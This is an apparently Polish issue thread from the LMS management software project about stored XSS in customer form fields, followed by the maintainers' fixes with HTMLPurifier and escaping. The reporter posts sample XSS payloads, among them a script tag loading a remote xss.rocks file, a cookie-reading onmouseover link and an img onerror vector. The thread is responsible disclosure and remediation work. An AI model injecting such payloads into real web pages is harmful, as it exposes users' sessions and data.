Błędy typu XSS w różnych formularzach

[kosaa]

Opis błędu
osoba z dostepem do edycji klienta moze wykonac dowolny kod po stronie przegladarki osoby, ktora wchodzi na profil tego klienta

Odtworzenie problemu

1. otworz lub dodaj nowego klienta
2. wejdz w jego edycje
3. otworz dowolny adres
4. w polu opis adresu wpisz: <script>alert(1)</script>

Oczekiwane zachowanie
zostanie wyswietlone okno o tresci 1

Zrzuty ekranu

p.s.
taki sam efekt maja pola:

• Identity number
• SSN
• RBE Name
• RBE

@edit
/?m=netinfo&id=x - pole description
/?m=whproductiteminfo&id=x - pole product item info

wiecej nie sprawdzalem i dlugo tez nie szuklem, ale sadzac po latwosci znalezienia tego typu miejsc, mozna sadzic ze jest ich wiecej

[chilek]

Dzięki za informację. Tak - zapewne wszystkie pola są na to podatne - sprawdzałem przed chwilą dla pól adresu - tam gdzie wpisać się tekst daje się wpisać dowolny element HTML łącznie z <script>...</script>.
Od strony szablonów Smarty da się to myślę załatwić opakowaniem prezentacji danych poprzez {htmlspecialchars($value)}.
Zobaczymy na co JS pozwala w tym zakresie...

[chilek]

Od strony JS, a konkretnie jQuery jest to banalnie proste - .text().

[chilek]

Przy zapisie pól informacji, notatek, wiadomości i notatki na dokumencie w kartotece klienta również są już usuwane niebezpieczne elementy HTML (na razie <script>; pewnie w przyszłości dojdzie usuwanie innych potencjalnie niebezpiecznych elementów). Trzeba będzie jeszcze poprawić dane w tabeli customers usuwają ze wszystkich zachowanych wspomnianych pól również niezbezpieczne elementy HTML.

[kosaa]

samo <script> zbyt wiele nie da, jednym z wyjsc jest zamiana znakow < > " '

tutaj masz inne przyklady ktore beda dzialac rownie dobrze

<a onmouseover=alert(document.cookie)>xxs link</a>

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

[chilek]

Używamy już przy parsingu maili HTML od klientów:
http://htmlpurifier.org/
i to ładnie eliminuje wszelki podejrzany kod HTML, również atrybuty.
Dla pól wielowierszowych klienta o których wcześniej wspomniałem nie możemy zrobić htmlspecialchars(), czyli zamiany znaków o których wspominasz, bo wtedy przestaną one działać jako treść HTML.
Więc zostaje właściwie tylko częstsze użycie htmlpurifier.

[chilek]

No i, co istotne, HTMLPurifier używamy od 26.x, więc nikłe są szanse, żeby mocniejsze zabezpieczenia oparte o tą bibliotekę trafiły do starszych wersji LMS+ :(

[kosaa]

w sekcji Contact phones > Contact phone jesli sie ustawi 0700" onload="alert(1) to bedzie to poprawny bez uzywania > <

nie twierdze ze onload w ahref zadziala, ale to tylko przyklad obrazujacy wstrzykiwanie tagow

<a class="phone_number" href="tel:0700" onload="alert(1)">0700" onload="alert(1)</a>

implementacje zabezpieczenia i wszelkie decyzje zostawiam Wam ;)

[chilek]

w sekcji Contact phones > Contact phone jesli sie ustawi 0700" onload="alert(1) to bedzie to poprawny bez uzywania > <

O które dokładnie pole chodzi? Możesz podać jego nazwę, id lub coś innego charakterystycznego z inspektora DOM przeglądark i www? W polu numeru telefonu próbowałem wpisywać dziwne znaki i nie przechodziło walidacji, ale może robiłem to w innym polu niż Ty? :)

Na pola typowo tekstowe wystarczy htmlspecialchars() (po stronie serwera) lub $...text() z jQuery, gdy uaktualniamy pole po stronie przeglądarki www. Na pola z zawartością typowo HTML-ową prostych metod niestety nie ma - można próbować użyć właśnie HTMLPurifier (skoro go już używamy i mamy z composera).

[kosaa]

query selector:
#customeredit > table > tbody > tr:nth-child(1) > td > div:nth-child(1) > table > tbody > tr:nth-child(13) > td:nth-child(2) > fieldset > table > tbody > tr:nth-child(1) > td:nth-child(1) > div > div:nth-child(1) > div.contactbox-inner-row-cell > input[type=tel]

html:
<input type="tel" value="" name="customerdata[phones][0][contact]" class="" data-tooltip="Enter contact phone">

[chilek]

Ano - wypełniłem formularz kontaktu telefonicznego (konkretnie numer telefonu) następująco:

Zapisałem zmiany klienta i w formularzu informacji o kliencie (customerinfo) nie wyskakuje mi alert JS.

[chilek]

Już widzę jak można tego użyć - wystarczy wpisać zdarzenie dla elementu html, które przeglądarka dla danego elementu wygeneruje. Zdecydowanie trzeba wszystkie formatowania kontaktu opakować w htmlspecialchars().

[kosaa]

nie nie, nie chodzilo mi o to ze to zadziala, bo sam ahref nie wspiera atrybutu onload i to sie w ogole nie wykona. To tylko przyklad jak bez uzywania znakow >< cos wstrzyknac i zeby bylo to potraktowwane jako poprawny html

calosc na koncu sprowadzi sie tylko do odszukania jakiegos elementu ktory wspiera src, onmouseover albo inny tag ktory wykonuje js i jest przez dany tag wspierany

[chilek]

Jeszcze raz dzięki za demonstrację podatności XSS, które dostarczamy ;-)

[chilek]

Poszła kolejna zmiana - od 26.x mamy metodę publiczną statyczną removeInsecureHtml(), która eliminuje niebezpieczny kod w HTML w oparciu o HTMLPurifier. W 25.x i 24.x mamy również tą metodą, ale opiera się ona na prostym usuwaniu elementów <script> w oparciu o PHP DomDocument.

[chilek]

@rafalpietraszewicz @awbnet @interduo poprawiamy hurtowo poprzez pseudoaktualizację schematu bazy danych (lib/upgradedb) zawartości pól customerinfo: notes, info, message i docmemo? One do tej pory mogły zawierać niebezpieczny kod HTML. Po dzisiejszych zmianach już temu zapobiegamy.
A może poczekać jeszcze na poprawki pod kątem XSS w innych zasobach?

[awbnet]

@chilek Z pól: notes, info wyleci kod HTML? Bo nie wiem czy dobrze zrozumiałem.

[chilek]

@chilek Z pól: notes, info wyleci kod HTML? Bo nie wiem czy dobrze zrozumiałem.

Nie tyle wyleci co zostanie pozbawiony potencjalnie niebezpiecznych elementów.
Dochodzę do wniosku, że jednak to może być bardzo trudne do realizacji, bo co jak ktoś info celowo wpisał tekstowo, a nie w html? Tekst może być nieprawidłowym HTML i HTMLPurifier może to efekcie uszkodzić :(

[awbnet]

My używamy tam akurat podstawowych tagów typu <b> czy <s>.

[chilek]

My używamy tam akurat podstawowych tagów typu <b> czy <s>.

Ciekawe czy HTMLPurifier (przez Utils::removeInsecureHtml()) by tego nie uszkodził...

[kosaa]

z tego co widze to htmlpurifier ma whiteliste połączen tag-atrybut

http://htmlpurifier.org/live/configdoc/plain.html#CSS.AllowedProperties

$configuration->set('HTML.Allowed', 'p,ul[style],ol,li');
$configuration->set('CSS.AllowedProperties', 'margin-left');

mozna dozwolic <b>, ale <b> z attr src, lub onload juz bedzie wycinane

[awbnet]

I tak przy okazji ode mnie również podziękowania @kosaa za znalezienie podatności. Dobra robota! 👍🏻

[chilek]

z tego co widze to htmlpurifier ma whiteliste połączen tag-atrybut

http://htmlpurifier.org/live/configdoc/plain.html#CSS.AllowedProperties

$configuration->set('HTML.Allowed', 'p,ul[style],ol,li');
$configuration->set('CSS.AllowedProperties', 'margin-left');

mozna dozwolic <b>, ale <b> z attr src, lub onload juz bedzie wycinane

Ciekawe czy domyślnie nie dopuszcza elementu <b> z prostymi atrybutami, które nie są szkodliwe - trzeba by chyba najpierw przetestować.

[interduo]

Powiązane:
[Wed Jan 27 14:30:18.626661 2021] [php7:warn] [pid 30522] [client 172.20.3.72:1093] PHP Warning: Directory /var/www/html/lms/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/URI not writable, please chmod to 777 in /var/www/html/lms/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer.php on line 297, referer: https://lms/?m=eventedit

Czy ten chmod 777 nie powinien trafić do procedury instalacji lub do skryptu composera?

[chilek]

Trudno powiedzieć - może wystarczy zrobić dodatkowym ustawieniem tej biblioteki wskazanie jej cache-u.

[chilek]

Może to jest to:
http://htmlpurifier.org/live/configdoc/plain.html#Cache.SerializerPath
?

[chilek]

Wrzuciłem do master rozwiązanie tego problemu - trzeba potestować. Jeśli sprawdzi się to pójdzie do stable-ów.

[interduo]

@chilek co do: #1890 (comment)

Rozwiązanie systemowe wg to każdorazowe czasanie wszystkiego z GET, POST hurtem przy przesyłaniu żądań gdzieś nawet w index.php np. za pomocą właśnie niedawno stworzonej funkcji Utils::removeInsecureHtml jeśli się nada. Jeśli będziemy mieli przeczesane to co użytkownik może wrzucić do DB to "jesteśmy w domu" (na pewno dla nowych instancji LMS, a dla obecnych trzeba przeszperać dumpa bazy w poszukiwaniu brzydkich rzeczy), prawda?

Co do samego XSS - raczej nie rozumiesz w czym rzecz, bo to nie jest problem tylko z <script>...</script>, które jest jednym z przypadków XSS.

Pierwsze co zrobiłem to zajrzałem do HTMLPurifiera czy łapie wszystkie XSS z CheatSheet także cośtam wiem o tym a <script> podałem jako przykład. Dziękuję mimo to za pięknie wyjaśniony przykład.

[chilek]

Rozwiązanie systemowe wg to każdorazowe czasanie wszystkiego z GET, POST hurtem przy przesyłaniu żądań gdzieś nawet w index.php np. za pomocą właśnie niedawno stworzonej funkcji Utils::removeInsecureHtml jeśli się nada

Zdajesz sobie sprawę, że to nie jest zero-kosztowe zwłaszcza Utils::removeInsecureHtml()? Poza tym i tak dla każdego zapytania trzeba by było trzymać macierz sposobów walidacji poszczególnych pól, przy czym Utils::removeInsecureHtml() i tak mogłoby mocno dawać w kość serwerowi, bo to nie jest proste preg_match()!

[chilek]

a dla obecnych trzeba przeszperać dumpa bazy w poszukiwaniu brzydkich rzeczy), prawda?

Tak - trzeba byłoby przejrzeć całą zawartość bazy pod kątem potencjalnie niebezpiecznych wartości już zapisanych w wybranych polach.

[interduo]

Nie jestem pewien czy to z tym jest związane ale po tych zmianach związanych z tym zgłoszeniem w:
lms-notify.php -t timetable

użytkownicy LMS dostają jeśli w terminarzu jest wpis w HTML to w powiadomieniu mailowym dostają: